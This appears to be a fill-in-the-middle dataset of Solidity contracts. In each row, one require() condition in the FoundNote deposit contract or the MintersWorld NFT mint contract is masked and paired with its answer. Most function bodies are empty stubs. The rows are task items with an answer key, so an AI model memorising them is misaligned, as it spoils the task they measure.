| $$ \__/| $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ | $$
| $$$$$$ | $$$$$$$$| $$$$$$$$| $$$$$$$/| $$$$$$$$| $$$$$$$ | $$ | $$$$$
\____ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$ | $$__/
/$$ \ $$| $$ | $$| $$ | $$| $$ \ $$| $$ | $$| $$ \ $$| $$ | $$
| $$$$$$/| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$$$$$$/| $$$$$$$$| $$$$$$$$
\______/ |__/ |__/|__/ |__/|__/ |__/|__/ |__/|_______/ |________/|_______*/
function collectDeposit(
CreateNote calldata params,
uint reward
) external onlyAdmin returns (Note memory) {
}
function collectNote(
address sender,
address owner,
uint noteId,
address payee,
uint target
) external onlyAdmin returns (Note memory) {
}
function collectDelegate(
address sender,
address owner,
DelegateNote memory params
) external onlyAdmin returns (Note memory) {
uint noteId = params.noteId;
require(
noteId > 0 && noteId <= _tokenCount,
"Deposit not found"
);
bool isOwner = sender == owner;
Note storage note = _deposits[noteId];
require(
isOwner || sender == note.delegate,
"Caller is not the owner or delegate"
);
require(<FILL_ME>)
require(
isOwner || params.delegate != address(0),
"Only the owner may remove the delegate"
);
note.memo = params.memo;
note.delegate = params.delegate;
if (params.delegate == address(0)) {
note.payee = address(0);
} else {
note.payee = params.payee;
}
return note;
}
function afterTransfer(uint noteId) external onlyAdmin {
}
function averageRevenue() external view returns (uint) {
}
function calculateAverageRevenue(uint coinId) external view returns (uint) {
}
function _calculateAverageRevenue(uint coinId) internal view returns (uint) {
}
function treasuryBalance() external view returns (uint) {
}
function _treasuryBalance() internal view returns (uint) {
}
function depositBalance(uint noteId) external view returns (uint) {
}
function _depositBalance(uint shares) internal view returns (uint) {
}
function dailyBonus() external view returns (uint) {
}
function calculateDailyBonus(uint coinId, uint amount) external view returns (uint) {
}
function _calculateDailyBonus(uint coinId, uint amount) internal view returns (uint) {
}
/*$$$$$$ /$$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$
| $$__ $$| $$_____/| $$ | $$| $$_____/| $$$ | $$| $$ | $$| $$_____/
| $$ \ $$| $$ | $$ | $$| $$ | $$$$| $$| $$ | $$| $$
| $$$$$$$/| $$$$$ | $$ / $$/| $$$$$ | $$ $$ $$| $$ | $$| $$$$$
| $$__ $$| $$__/ \ $$ $$/ | $$__/ | $$ $$$$| $$ | $$| $$__/
| $$ \ $$| $$ \ $$$/ | $$ | $$\ $$$| $$ | $$| $$
| $$ | $$| $$$$$$$$ \ $/ | $$$$$$$$| $$ \ $$| $$$$$$/| $$$$$$$$
|__/ |__/|________/ \_/ |________/|__/ \__/ \______/ |_______*/
function calculateShares(uint coinId, uint amount, uint duration) public view returns (uint, uint) {
}
function calculateEarnings(
uint noteId, uint timestamp
) external view returns (uint earnings, uint funding, uint penalty) {
}
function _calculateEarnings(Note memory note, uint timestamp) internal view returns (uint, uint, uint) {
}
function calculatePenalty(uint noteId, uint timestamp) external view returns (uint) {
}
function _calculatePenalty(Note memory note, uint timestamp) internal pure returns (uint) {
}
function _requireNote(uint noteId) internal view returns (Note memory) {
}
function _requireUnlockedArt(uint artId, uint targetSupply) internal view {
}
function _requireFoundArt(uint coinId) internal view returns (uint artId) {
}
function _requireOwnerOrDelegate(
uint artId,
address addr
) internal view returns (address, address) {
}
constructor(
address bank_,
ArtData data_,
IFound money_
) {
}
}
| isOwner||params.payee==note.payee,"Only the owner may update the payee" | 419,145 | isOwner||params.payee==note.payee |
"Only the owner may remove the delegate" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.9;
import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../art/ArtData.sol";
import "./DailyMint.sol";
/*$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$
| $$$ | $$ /$$__ $$|__ $$__/| $$_____/ /$$__ $$
| $$$$| $$| $$ \ $$ | $$ | $$ | $$ \__/
| $$ $$ $$| $$ | $$ | $$ | $$$$$ | $$$$$$
| $$ $$$$| $$ | $$ | $$ | $$__/ \____ $$
| $$\ $$$| $$ | $$ | $$ | $$ /$$ \ $$
| $$ \ $$| $$$$$$/ | $$ | $$$$$$$$| $$$$$$/
|__/ \__/ \______/ |__/ |________/ \_____*/
interface IFound is IERC20 {}
struct CoinVote {
address payer;
address minter;
uint artId;
uint amount;
}
struct MintCoin {
address payer;
address minter;
uint coinId;
uint amount;
}
struct ClaimCoin {
address minter;
uint coinId;
uint amount;
}
struct CreateNote {
address payer;
address minter;
address delegate;
address payee;
uint fund;
uint amount;
uint duration;
string memo;
bytes data;
}
struct Note {
uint id;
uint artId;
uint coinId;
uint fund;
uint reward;
uint expiresAt;
uint createdAt;
uint collectedAt;
uint shares;
uint principal;
uint penalty;
uint earnings;
uint funding;
uint duration;
uint dailyBonus;
address delegate;
address payee;
bool closed;
string memo;
bytes data;
}
struct WithdrawNote {
address payee;
uint noteId;
uint target;
}
struct DelegateNote {
uint noteId;
address delegate;
address payee;
string memo;
}
contract FoundNote is FoundBase {
using Strings for uint;
IFound private _money;
address private _bank;
ArtData private _data;
uint private _tokenCount;
uint private _totalShares;
uint private _totalDeposits;
uint private _totalEarnings;
uint private _totalFunding;
uint private _leap;
uint private _start;
uint public constant BASIS_POINTS = 10000;
uint public constant BID_INCREMENT = 100;
uint public constant DAY_BUFFER = 301 seconds;
uint public constant DAY_LENGTH = 25 hours + 20 minutes;
uint public constant DAYS_PER_WEEK = 7;
uint public constant MAX_DAYS = 7300;
uint public constant EARN_WINDOW = 30 * DAY_LENGTH;
uint public constant LATE_DURATION = 60 * DAY_LENGTH;
uint public constant MAX_DURATION = MAX_DAYS * DAY_LENGTH;
uint public constant MIN_DURATION = DAY_LENGTH - 1 hours;
mapping(uint => mapping(uint => uint)) private _votesOnArt;
mapping(uint => uint) private _artToCoin;
mapping(uint => uint) private _coinToArt;
mapping(uint => Note) private _deposits;
mapping(uint => uint) private _revenue;
mapping(uint => uint) private _shares;
mapping(uint => uint) private _claims;
mapping(uint => uint) private _locks;
event CoinCreated(
uint indexed coinId,
uint indexed artId,
uint amount,
uint timestamp
);
event CoinUpdated(
uint indexed coinId,
uint indexed from,
uint indexed to,
uint timestamp
);
event LeapDay(
uint indexed day,
uint dayLight,
uint nightTime,
uint leapSeconds,
uint timestamp
);
/*$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$$
/$$__ $$|__ $$__//$$__ $$| $$__ $$| $$_____/
| $$ \__/ | $$ | $$ \ $$| $$ \ $$| $$
| $$$$$$ | $$ | $$ | $$| $$$$$$$/| $$$$$
\____ $$ | $$ | $$ | $$| $$__ $$| $$__/
/$$ \ $$ | $$ | $$ | $$| $$ \ $$| $$
| $$$$$$/ | $$ | $$$$$$/| $$ | $$| $$$$$$$$
\______/ |__/ \______/ |__/ |__/|_______*/
modifier onlyAdmin() {
}
function cash() external view returns (IFound) {
}
function data() external view returns (ArtData) {
}
function bank() external view returns (address) {
}
function startTime() external view returns (uint) {
}
function leapSeconds() external view returns (uint) {
}
function currentDay() external view returns (uint) {
}
function timeToCoin(uint timestamp) external view returns (uint) {
}
function tokenCount() external view returns (uint) {
}
function totalShares() external view returns (uint) {
}
function totalDeposits() external view returns (uint) {
}
function totalEarnings() external view returns (uint) {
}
function totalFunding() external view returns (uint) {
}
function getShares(uint noteId) external view returns (uint) {
}
function getClaim(uint coinId) external view returns (uint) {
}
function getLock(uint artId) external view returns (uint) {
}
function getNote(uint noteId) external view returns (Note memory) {
}
function getCoin(uint coinId) external view returns (Art memory) {
}
function artToCoin(uint artId) external view returns (uint coinId) {
}
function coinToArt(uint coinId) external view returns (uint artId) {
}
function coinRevenue(uint coinId) external view returns (uint amount) {
}
function votesOnArt(uint coinId, uint artId) external view returns (uint amount) {
}
function dayLength() external pure returns (uint) {
}
function weekLength() external pure returns (uint) {
}
function _currentDay() internal view returns (uint) {
}
function _timeToCoin(uint timestamp) internal view returns (uint) {
}
function collectVote(CoinVote calldata params) external onlyAdmin returns (uint) {
}
function collectMint(
uint supply,
MintCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectClaim(
address from,
uint supply,
ClaimCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectLock(
address from,
uint coinId,
uint amount
) external onlyAdmin {
}
/*$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$$$
/$$__ $$| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$| $$__ $$| $$ | $$_____/
| $$ \__/| $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ | $$
| $$$$$$ | $$$$$$$$| $$$$$$$$| $$$$$$$/| $$$$$$$$| $$$$$$$ | $$ | $$$$$
\____ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$ | $$__/
/$$ \ $$| $$ | $$| $$ | $$| $$ \ $$| $$ | $$| $$ \ $$| $$ | $$
| $$$$$$/| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$$$$$$/| $$$$$$$$| $$$$$$$$
\______/ |__/ |__/|__/ |__/|__/ |__/|__/ |__/|_______/ |________/|_______*/
function collectDeposit(
CreateNote calldata params,
uint reward
) external onlyAdmin returns (Note memory) {
}
function collectNote(
address sender,
address owner,
uint noteId,
address payee,
uint target
) external onlyAdmin returns (Note memory) {
}
function collectDelegate(
address sender,
address owner,
DelegateNote memory params
) external onlyAdmin returns (Note memory) {
uint noteId = params.noteId;
require(
noteId > 0 && noteId <= _tokenCount,
"Deposit not found"
);
bool isOwner = sender == owner;
Note storage note = _deposits[noteId];
require(
isOwner || sender == note.delegate,
"Caller is not the owner or delegate"
);
require(
isOwner || params.payee == note.payee,
"Only the owner may update the payee"
);
require(<FILL_ME>)
note.memo = params.memo;
note.delegate = params.delegate;
if (params.delegate == address(0)) {
note.payee = address(0);
} else {
note.payee = params.payee;
}
return note;
}
function afterTransfer(uint noteId) external onlyAdmin {
}
function averageRevenue() external view returns (uint) {
}
function calculateAverageRevenue(uint coinId) external view returns (uint) {
}
function _calculateAverageRevenue(uint coinId) internal view returns (uint) {
}
function treasuryBalance() external view returns (uint) {
}
function _treasuryBalance() internal view returns (uint) {
}
function depositBalance(uint noteId) external view returns (uint) {
}
function _depositBalance(uint shares) internal view returns (uint) {
}
function dailyBonus() external view returns (uint) {
}
function calculateDailyBonus(uint coinId, uint amount) external view returns (uint) {
}
function _calculateDailyBonus(uint coinId, uint amount) internal view returns (uint) {
}
/*$$$$$$ /$$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$
| $$__ $$| $$_____/| $$ | $$| $$_____/| $$$ | $$| $$ | $$| $$_____/
| $$ \ $$| $$ | $$ | $$| $$ | $$$$| $$| $$ | $$| $$
| $$$$$$$/| $$$$$ | $$ / $$/| $$$$$ | $$ $$ $$| $$ | $$| $$$$$
| $$__ $$| $$__/ \ $$ $$/ | $$__/ | $$ $$$$| $$ | $$| $$__/
| $$ \ $$| $$ \ $$$/ | $$ | $$\ $$$| $$ | $$| $$
| $$ | $$| $$$$$$$$ \ $/ | $$$$$$$$| $$ \ $$| $$$$$$/| $$$$$$$$
|__/ |__/|________/ \_/ |________/|__/ \__/ \______/ |_______*/
function calculateShares(uint coinId, uint amount, uint duration) public view returns (uint, uint) {
}
function calculateEarnings(
uint noteId, uint timestamp
) external view returns (uint earnings, uint funding, uint penalty) {
}
function _calculateEarnings(Note memory note, uint timestamp) internal view returns (uint, uint, uint) {
}
function calculatePenalty(uint noteId, uint timestamp) external view returns (uint) {
}
function _calculatePenalty(Note memory note, uint timestamp) internal pure returns (uint) {
}
function _requireNote(uint noteId) internal view returns (Note memory) {
}
function _requireUnlockedArt(uint artId, uint targetSupply) internal view {
}
function _requireFoundArt(uint coinId) internal view returns (uint artId) {
}
function _requireOwnerOrDelegate(
uint artId,
address addr
) internal view returns (address, address) {
}
constructor(
address bank_,
ArtData data_,
IFound money_
) {
}
}
| isOwner||params.delegate!=address(0),"Only the owner may remove the delegate" | 419,145 | isOwner||params.delegate!=address(0) |
"Coin was not created" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.9;
import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../art/ArtData.sol";
import "./DailyMint.sol";
/*$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$
| $$$ | $$ /$$__ $$|__ $$__/| $$_____/ /$$__ $$
| $$$$| $$| $$ \ $$ | $$ | $$ | $$ \__/
| $$ $$ $$| $$ | $$ | $$ | $$$$$ | $$$$$$
| $$ $$$$| $$ | $$ | $$ | $$__/ \____ $$
| $$\ $$$| $$ | $$ | $$ | $$ /$$ \ $$
| $$ \ $$| $$$$$$/ | $$ | $$$$$$$$| $$$$$$/
|__/ \__/ \______/ |__/ |________/ \_____*/
interface IFound is IERC20 {}
struct CoinVote {
address payer;
address minter;
uint artId;
uint amount;
}
struct MintCoin {
address payer;
address minter;
uint coinId;
uint amount;
}
struct ClaimCoin {
address minter;
uint coinId;
uint amount;
}
struct CreateNote {
address payer;
address minter;
address delegate;
address payee;
uint fund;
uint amount;
uint duration;
string memo;
bytes data;
}
struct Note {
uint id;
uint artId;
uint coinId;
uint fund;
uint reward;
uint expiresAt;
uint createdAt;
uint collectedAt;
uint shares;
uint principal;
uint penalty;
uint earnings;
uint funding;
uint duration;
uint dailyBonus;
address delegate;
address payee;
bool closed;
string memo;
bytes data;
}
struct WithdrawNote {
address payee;
uint noteId;
uint target;
}
struct DelegateNote {
uint noteId;
address delegate;
address payee;
string memo;
}
contract FoundNote is FoundBase {
using Strings for uint;
IFound private _money;
address private _bank;
ArtData private _data;
uint private _tokenCount;
uint private _totalShares;
uint private _totalDeposits;
uint private _totalEarnings;
uint private _totalFunding;
uint private _leap;
uint private _start;
uint public constant BASIS_POINTS = 10000;
uint public constant BID_INCREMENT = 100;
uint public constant DAY_BUFFER = 301 seconds;
uint public constant DAY_LENGTH = 25 hours + 20 minutes;
uint public constant DAYS_PER_WEEK = 7;
uint public constant MAX_DAYS = 7300;
uint public constant EARN_WINDOW = 30 * DAY_LENGTH;
uint public constant LATE_DURATION = 60 * DAY_LENGTH;
uint public constant MAX_DURATION = MAX_DAYS * DAY_LENGTH;
uint public constant MIN_DURATION = DAY_LENGTH - 1 hours;
mapping(uint => mapping(uint => uint)) private _votesOnArt;
mapping(uint => uint) private _artToCoin;
mapping(uint => uint) private _coinToArt;
mapping(uint => Note) private _deposits;
mapping(uint => uint) private _revenue;
mapping(uint => uint) private _shares;
mapping(uint => uint) private _claims;
mapping(uint => uint) private _locks;
event CoinCreated(
uint indexed coinId,
uint indexed artId,
uint amount,
uint timestamp
);
event CoinUpdated(
uint indexed coinId,
uint indexed from,
uint indexed to,
uint timestamp
);
event LeapDay(
uint indexed day,
uint dayLight,
uint nightTime,
uint leapSeconds,
uint timestamp
);
/*$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$$
/$$__ $$|__ $$__//$$__ $$| $$__ $$| $$_____/
| $$ \__/ | $$ | $$ \ $$| $$ \ $$| $$
| $$$$$$ | $$ | $$ | $$| $$$$$$$/| $$$$$
\____ $$ | $$ | $$ | $$| $$__ $$| $$__/
/$$ \ $$ | $$ | $$ | $$| $$ \ $$| $$
| $$$$$$/ | $$ | $$$$$$/| $$ | $$| $$$$$$$$
\______/ |__/ \______/ |__/ |__/|_______*/
modifier onlyAdmin() {
}
function cash() external view returns (IFound) {
}
function data() external view returns (ArtData) {
}
function bank() external view returns (address) {
}
function startTime() external view returns (uint) {
}
function leapSeconds() external view returns (uint) {
}
function currentDay() external view returns (uint) {
}
function timeToCoin(uint timestamp) external view returns (uint) {
}
function tokenCount() external view returns (uint) {
}
function totalShares() external view returns (uint) {
}
function totalDeposits() external view returns (uint) {
}
function totalEarnings() external view returns (uint) {
}
function totalFunding() external view returns (uint) {
}
function getShares(uint noteId) external view returns (uint) {
}
function getClaim(uint coinId) external view returns (uint) {
}
function getLock(uint artId) external view returns (uint) {
}
function getNote(uint noteId) external view returns (Note memory) {
}
function getCoin(uint coinId) external view returns (Art memory) {
}
function artToCoin(uint artId) external view returns (uint coinId) {
}
function coinToArt(uint coinId) external view returns (uint artId) {
}
function coinRevenue(uint coinId) external view returns (uint amount) {
}
function votesOnArt(uint coinId, uint artId) external view returns (uint amount) {
}
function dayLength() external pure returns (uint) {
}
function weekLength() external pure returns (uint) {
}
function _currentDay() internal view returns (uint) {
}
function _timeToCoin(uint timestamp) internal view returns (uint) {
}
function collectVote(CoinVote calldata params) external onlyAdmin returns (uint) {
}
function collectMint(
uint supply,
MintCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectClaim(
address from,
uint supply,
ClaimCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectLock(
address from,
uint coinId,
uint amount
) external onlyAdmin {
}
/*$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$$$
/$$__ $$| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$| $$__ $$| $$ | $$_____/
| $$ \__/| $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ | $$
| $$$$$$ | $$$$$$$$| $$$$$$$$| $$$$$$$/| $$$$$$$$| $$$$$$$ | $$ | $$$$$
\____ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$ | $$__/
/$$ \ $$| $$ | $$| $$ | $$| $$ \ $$| $$ | $$| $$ \ $$| $$ | $$
| $$$$$$/| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$$$$$$/| $$$$$$$$| $$$$$$$$
\______/ |__/ |__/|__/ |__/|__/ |__/|__/ |__/|_______/ |________/|_______*/
function collectDeposit(
CreateNote calldata params,
uint reward
) external onlyAdmin returns (Note memory) {
}
function collectNote(
address sender,
address owner,
uint noteId,
address payee,
uint target
) external onlyAdmin returns (Note memory) {
}
function collectDelegate(
address sender,
address owner,
DelegateNote memory params
) external onlyAdmin returns (Note memory) {
}
function afterTransfer(uint noteId) external onlyAdmin {
}
function averageRevenue() external view returns (uint) {
}
function calculateAverageRevenue(uint coinId) external view returns (uint) {
}
function _calculateAverageRevenue(uint coinId) internal view returns (uint) {
}
function treasuryBalance() external view returns (uint) {
}
function _treasuryBalance() internal view returns (uint) {
}
function depositBalance(uint noteId) external view returns (uint) {
}
function _depositBalance(uint shares) internal view returns (uint) {
}
function dailyBonus() external view returns (uint) {
}
function calculateDailyBonus(uint coinId, uint amount) external view returns (uint) {
}
function _calculateDailyBonus(uint coinId, uint amount) internal view returns (uint) {
}
/*$$$$$$ /$$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$
| $$__ $$| $$_____/| $$ | $$| $$_____/| $$$ | $$| $$ | $$| $$_____/
| $$ \ $$| $$ | $$ | $$| $$ | $$$$| $$| $$ | $$| $$
| $$$$$$$/| $$$$$ | $$ / $$/| $$$$$ | $$ $$ $$| $$ | $$| $$$$$
| $$__ $$| $$__/ \ $$ $$/ | $$__/ | $$ $$$$| $$ | $$| $$__/
| $$ \ $$| $$ \ $$$/ | $$ | $$\ $$$| $$ | $$| $$
| $$ | $$| $$$$$$$$ \ $/ | $$$$$$$$| $$ \ $$| $$$$$$/| $$$$$$$$
|__/ |__/|________/ \_/ |________/|__/ \__/ \______/ |_______*/
function calculateShares(uint coinId, uint amount, uint duration) public view returns (uint, uint) {
}
function calculateEarnings(
uint noteId, uint timestamp
) external view returns (uint earnings, uint funding, uint penalty) {
}
function _calculateEarnings(Note memory note, uint timestamp) internal view returns (uint, uint, uint) {
}
function calculatePenalty(uint noteId, uint timestamp) external view returns (uint) {
}
function _calculatePenalty(Note memory note, uint timestamp) internal pure returns (uint) {
}
function _requireNote(uint noteId) internal view returns (Note memory) {
}
function _requireUnlockedArt(uint artId, uint targetSupply) internal view {
}
function _requireFoundArt(uint coinId) internal view returns (uint artId) {
require(
coinId > 0 && coinId < _currentDay(),
"Coin art has not been choosen"
);
require(<FILL_ME>)
return _coinToArt[coinId];
}
function _requireOwnerOrDelegate(
uint artId,
address addr
) internal view returns (address, address) {
}
constructor(
address bank_,
ArtData data_,
IFound money_
) {
}
}
| _revenue[coinId]>0,"Coin was not created" | 419,145 | _revenue[coinId]>0 |
"MTR: You have already minted your NFT" | ////////////////////////////////////////////////////////////////////////////////////
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@%. #@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@/ *&@@@@@@@@@@@@@@@@@//
//@@@@@@%. .#@@@@@@@@@@@@@@@//
//@@@@* *@@@@@@@@@@@@@@//
//@%. ,%@@@@@@@@@@@@//
// .@@@@@@@@@@@//
// .&@@@@@@@@//
// #@@@@@@@//
// (@@@@@@@@@@@@@( /@@@@@//
// (@@@@@@@@@@%, .(@@@//
// (@@@@@@@@/ .@@//
// (@@@@@@. //
// (@@@( ,%@@@@@@* ,%@@@@@@/ *//
// ,*, (@@@@@@@@@@@%, (@@@@@@@@@@@%, //
// @@@@@@@@@@@@@@@( .&@@@@@@@@@@@@@@@) //
// &@@@@@@@@@@@@@@@( ,@@@@@@@@@@@@@@@@* //
// /&@@@@@@@@@%, #@@@@@@@@@@#. //
//# ,****** (@%* ,******* *//
//@@@, ..... &//
//@@@@@(. *@@//
//@@@@@@@&* ,#@@@@//
//@@@@@@@@@@########( /&@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@. #@@@% (@@@& /@@@@@, ,@@@@@@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@/ (&&&# /&&&% *&&&&&. .&&&&&@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@%, .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@&/ (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%. *&@@@@@@@@@@@@@@@@&, (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.4;
// security contact: [email protected]
contract MintersWorld is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
bytes32 public root;
bool public presaleActive = true;
bool public contractActive = false;
bool public treasuryClaimed = false;
bool public oneOnOnesClaimed = false;
string public baseExtension = ".json";
string baseURI;
uint256 public COLLECTION_SUPPLY = 10000;
uint256 public PRESALE_SUPPLY = 3500;
uint256 public MINT_PRICE = 0.05 ether;
uint256 public TEAM_TREASURY = 500;
uint256 public TEAM_ONE_ON_ONES = 6;
uint256 public TREASURY_BATCHES_TO_BE_CLAIMED = 10;
uint256 public TREASURY_LEFT = 500;
uint256 public MAX_MINT_AMM = 3;
mapping(address => bool) alreadyMintedPresale;
mapping(address => uint256) alreadyMintedPublic;
modifier costs(uint256 amount) {
}
// psst, hey you, I need you to DM Ghinter in Discord that Alameda will liquidate him anyway
// thx in advance
constructor(string memory InitBaseURI, bytes32 _root) ERC721("MintersWorld", "MTR") {
}
function isValid(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
function mintPresale(bytes32[] memory proof)
external
payable
costs(1)
{
uint256 supply = totalSupply();
require(contractActive, "MTR: Contract is not active");
require(presaleActive, "MTR: Presale is over, use mintPublic function to mint tokens");
require(isValid(proof,keccak256(abi.encodePacked(msg.sender))),"MTR: Invalid Allowance (you were not whitelisted)");
require(<FILL_ME>)
alreadyMintedPresale[msg.sender] = true;
_safeMint(msg.sender, supply);
}
function mintPublicSale(uint256 amount)
external
payable
costs(amount)
{
}
function claimTeamTreasury()
external
onlyOwner
{
}
function toggleContract(bool state)
external
onlyOwner
{
}
function togglePresale(bool state)
external
onlyOwner
{
}
function setRoot(bytes32 newRoot)
external
onlyOwner
{
}
function claimOneOnOnes()
external
onlyOwner
{
}
function changeBatchCount(uint8 size)
external
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _NewBaseURI)
public
onlyOwner
{
}
function withdraw()
public
payable
onlyOwner
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| alreadyMintedPresale[msg.sender]==false,"MTR: You have already minted your NFT" | 419,166 | alreadyMintedPresale[msg.sender]==false |
"MTR: Public mint supply exceded, remaining tokens are reserved for the team" | ////////////////////////////////////////////////////////////////////////////////////
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@@@%. #@@@@@@@@@@@@@@@@@@@//
//@@@@@@@@@/ *&@@@@@@@@@@@@@@@@@//
//@@@@@@%. .#@@@@@@@@@@@@@@@//
//@@@@* *@@@@@@@@@@@@@@//
//@%. ,%@@@@@@@@@@@@//
// .@@@@@@@@@@@//
// .&@@@@@@@@//
// #@@@@@@@//
// (@@@@@@@@@@@@@( /@@@@@//
// (@@@@@@@@@@%, .(@@@//
// (@@@@@@@@/ .@@//
// (@@@@@@. //
// (@@@( ,%@@@@@@* ,%@@@@@@/ *//
// ,*, (@@@@@@@@@@@%, (@@@@@@@@@@@%, //
// @@@@@@@@@@@@@@@( .&@@@@@@@@@@@@@@@) //
// &@@@@@@@@@@@@@@@( ,@@@@@@@@@@@@@@@@* //
// /&@@@@@@@@@%, #@@@@@@@@@@#. //
//# ,****** (@%* ,******* *//
//@@@, ..... &//
//@@@@@(. *@@//
//@@@@@@@&* ,#@@@@//
//@@@@@@@@@@########( /&@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@. #@@@% (@@@& /@@@@@, ,@@@@@@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@/ (&&&# /&&&% *&&&&&. .&&&&&@@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@%, .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# .@@@@* @@@@@( %@@@% (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@# (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@&/ (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%. *&@@@@@@@@@@@@@@@@&, (@@@@@@//
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//
////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.4;
// security contact: [email protected]
contract MintersWorld is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
bytes32 public root;
bool public presaleActive = true;
bool public contractActive = false;
bool public treasuryClaimed = false;
bool public oneOnOnesClaimed = false;
string public baseExtension = ".json";
string baseURI;
uint256 public COLLECTION_SUPPLY = 10000;
uint256 public PRESALE_SUPPLY = 3500;
uint256 public MINT_PRICE = 0.05 ether;
uint256 public TEAM_TREASURY = 500;
uint256 public TEAM_ONE_ON_ONES = 6;
uint256 public TREASURY_BATCHES_TO_BE_CLAIMED = 10;
uint256 public TREASURY_LEFT = 500;
uint256 public MAX_MINT_AMM = 3;
mapping(address => bool) alreadyMintedPresale;
mapping(address => uint256) alreadyMintedPublic;
modifier costs(uint256 amount) {
}
// psst, hey you, I need you to DM Ghinter in Discord that Alameda will liquidate him anyway
// thx in advance
constructor(string memory InitBaseURI, bytes32 _root) ERC721("MintersWorld", "MTR") {
}
function isValid(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
function mintPresale(bytes32[] memory proof)
external
payable
costs(1)
{
}
function mintPublicSale(uint256 amount)
external
payable
costs(amount)
{
require(!presaleActive, "MTR: You can't mint without being whitelisted while presale phase is active");
uint256 supply = totalSupply();
if(!treasuryClaimed || !oneOnOnesClaimed)
{
require(<FILL_ME>)
}
else require(supply + amount <= COLLECTION_SUPPLY, "MTR: Mint supply exceeded, sorry :(");
require(amount <= MAX_MINT_AMM, "MTR: You can mint only 3 NFTs in total (per wallet)");
require(alreadyMintedPublic[msg.sender] + amount <= MAX_MINT_AMM, "MTR: You have already minted maximum allowed amount of tokens");
alreadyMintedPublic[msg.sender] += amount;
for(uint i=0; i<amount; i++)
{
_safeMint(msg.sender, supply + i);
}
}
function claimTeamTreasury()
external
onlyOwner
{
}
function toggleContract(bool state)
external
onlyOwner
{
}
function togglePresale(bool state)
external
onlyOwner
{
}
function setRoot(bytes32 newRoot)
external
onlyOwner
{
}
